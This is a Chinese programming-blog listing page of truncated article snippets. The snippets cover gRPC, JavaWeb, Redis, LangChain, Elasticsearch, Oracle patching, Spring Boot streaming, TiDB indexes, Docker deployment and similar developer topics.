目录 功能设计 模块划分 业务接口/功能示意图 服务实现流程思想 服务代码实现 编写proto文件 服务端创建子类(SpeechRecognitionServiceImpl)完成RPC服务调用函数重写 SpeechRecognize(语音识别) 服务端完成语音识别子服务类(SpeechRecognitionServer) 注意 …...

JavaWeb基础专项复习5——请求对象和响应对象request and response
系列文章目录 1、JavaWeb基础专项复习1——XML文件-CSDN博客 2、JavaWeb基础专项复习2——JSP文件-CSDN博客 3、JavaWeb基础专项复习2——Servlet相关知识-CSDN博客 4、JavaWeb基础专项复习4——会话对象Session and Cookie-CSDN博客 文章目录 系列文章目录文章目录1、Tom…...

mac下载MAMP6.8.1;解决mac使用小皮面板安装php7.4
因为mac的小皮面板没有php7.4了 链接:c9cc270e6961c17c.dmg官方版下载丨最新版下载丨绿色版下载丨APP下载-123云盘 鹅选一 附上大佬写的教程:MAMP PRO教程 - 牛奔 - 博客园 更新一下,2-27 昨天已经可以使用php7.4了,我就在想能…...

大模型WebUI:Gradio全解12——LangChain原理、架构和组件(3)
大模型WebUI:Gradio全解12——LangChain原理、架构和组件(3) 前言本篇摘要12. LangChain原理及agents构建Gradio UI12.3 LangChain架构12.3.1 LangChain12.3.2 Integration Packages1. 概念2. 示例12.3.3 LangGraph1. 概念2. 示例12.3.4 LangGraph Platform1. 概览2. 优势分…...

redis --- 相关基础知识整理
目录 一、基本1、数据结构2、有序集合的编码1. 压缩列表(Ziplist)2. 跳跃列表(SkipList)3. 动态转换机制 二、应用场景三、持久化1、 RDB 持久化2、 AOF 持久化3、 混合持久化(RDB AOF)4、 RDB和AOF的对比…...
如何用 Python 进行机器学习
文章目录 前言1. 环境准备Python安装选择Python开发环境安装必要库 2. 数据收集与加载3. 数据探索与可视化4. 数据预处理5. 模型选择与训练6. 模型评估7. 模型调优8. 模型部署 前言 使用 Python 进行机器学习一般可以按照以下步骤进行,下面将详细介绍每个步骤及对应…...

《Effective Objective-C》阅读笔记(下)
目录 内存管理 理解引用计数 引用计数工作原理 自动释放池 保留环 以ARC简化引用计数 使用ARC时必须遵循的方法命名规则 变量的内存管理语义 ARC如何清理实例变量 在dealloc方法中只释放引用并解除监听 编写“异常安全代码”时留意内存管理问题 以弱引用避免保留环 …...
解释Promise的工作原理及其状态
Promise的工作原理及其状态 1. 什么是Promise? Promise是JavaScript中的一种用于处理异步操作的对象。它代表一个可能在未来某个时间点完成的操作,并且可以有三种状态:待定(pending)、已解决(fulfilled&a…...
SHELL32!ILCombine函数分析之连接两个idl
SHELL32!ILCombine函数分析之连接两个idl 第一部分: STDAPI_(LPITEMIDLIST) ILCombine(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2) { // Let me pass in NULL pointers if (!pidl1) { if (!pidl2) { return NULL; …...
es 生产集群的部署架构是什么?每个索引的数据量大概有多少?每个索引大概有多少个分片?
Elasticsearch 生产集群部署架构及面试解析 在后端面试中,Elasticsearch(ES)是一个经常被问到的技术点,尤其是涉及到 生产环境的部署架构。面试官往往希望通过这个问题来验证你是否有真正的生产经验,而不仅仅是玩过一…...

19c补丁后oracle属主变化,导致不能识别磁盘组
补丁后服务器重启,数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后,存在与用户组权限相关的问题。具体表现为,Oracle 实例的运行用户(oracle)和集…...
【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15
缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下: struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...
Spring Boot 实现流式响应(兼容 2.7.x)
在实际开发中,我们可能会遇到一些流式数据处理的场景,比如接收来自上游接口的 Server-Sent Events(SSE) 或 流式 JSON 内容,并将其原样中转给前端页面或客户端。这种情况下,传统的 RestTemplate 缓存机制会…...

【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...

【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
Pydantic + Function Calling的结合
1、Pydantic Pydantic 是一个 Python 库,用于数据验证和设置管理,通过 Python 类型注解强制执行数据类型。它广泛用于 API 开发(如 FastAPI)、配置管理和数据解析,核心功能包括: 数据验证:通过…...